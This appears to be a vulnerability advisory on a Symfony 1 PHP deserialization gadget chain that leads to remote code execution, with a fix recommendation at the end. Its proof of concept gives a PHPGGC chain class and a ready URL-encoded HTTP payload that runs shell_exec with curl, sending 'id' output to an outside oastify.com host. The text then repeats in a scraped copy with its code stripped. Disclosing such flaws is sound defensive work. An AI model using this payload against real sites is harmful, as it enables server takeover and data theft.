Summary
Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:
public function unserialize($serialized)
{
$this->__unserialize(unserialize($serialized));
}Which make an array access on the deserialized data without control on the type of the $data parameter:
public function __unserialize($data)
{
$this->default_namespace = $data[0];
$this->parameters = $data[1];
}Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():
public function offsetGet($offset)
{
$value = isset($this->value[$offset]) ? $this->value[$offset] : null;
return sfOutputEscaper::escape($this->escapingMethod, $value);
}Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]:
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}Which calls call_user_func with previous attacker controlled input.
PoC
So we need the following object to trigger an OS command like shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:
object(sfNamespacedParameterHolder)#4 (1) {
["prop":protected]=>
object(sfOutputEscaperArrayDecorator)#3 (2) {
["value":protected]=>
array(1) {
[0]=>
string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
}We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:
class sfOutputEscaperArrayDecorator
{
protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
class sfNamespacedParameterHolder implements Serializable
{
protected $prop = null;
public function __construct($prop) {
$this->prop = $prop;
}
public function serialize()
{
return serialize($this->prop);
}
public function unserialize($serialized)
{
}
}namespace GadgetChain\Symfony;
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.1.0 <= 1.5.18';
public static $vector = 'Serializable';
public static $author = 'darkpills';
public static $information = '';
public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
$tableInfo = new \sfNamespacedParameterHolder($escaper);
return $tableInfo;
}
}And trigger the deserialization with an HTTP request like the following on a dummy test controller:
POST /frontend_dev.php/test/index HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D
Note that CVSS score is not applicable to this kind of vulnerability.
Impact
The attacker can execute any PHP command which leads to remote code execution.
Recommendation
I recommend to add a type checking before doing any processing on the unserialized input like this example:
public function unserialize($data)
{
if (is_array($data)) {
$this->default_namespace = $data[0];
$this->parameters = $data[1];
} else {
$this->default_namespace = null;
$this->parameters = array();
// or throw an exception maybe?
}
}This fix should be applied in both sfNamespacedParameterHolder and sfParameterHolder.
References
darkpills Reporter
Summary
Symfony 1 has a gadget chain due to dangerous unserialize in
sfNamespacedParameterHolderclass that would enable an attacker to get remote code execution if a developer unserialize user input in his project.Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class
sfNamespacedParameterHolderwhich implementsSerializableinterface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementingunserialize()method:Which make an array access on the deserialized data without control on the type of the
$dataparameter:Thus, an attacker provide any object type in
$datato make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on$data[0]for any class implementingArrayAccessinterface.sfOutputEscaperArrayDecoratorimplements such interface. Here is the call made onoffsetGet():Which trigger
escape()insfOutputEscaperclass with attacker controlled parameters from deserialized object with$this->escapingMethodand$this->value[$offset]:Which calls
call_user_funcwith previous attacker controlled input.PoC
So we need the following object to trigger an OS command like
shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:
And trigger the deserialization with an HTTP request like the following on a dummy test controller:
Note that CVSS score is not applicable to this kind of vulnerability.
Impact
The attacker can execute any PHP command which leads to remote code execution.
Recommendation
I recommend to add a type checking before doing any processing on the unserialized input like this example:
This fix should be applied in both
sfNamespacedParameterHolderandsfParameterHolder.References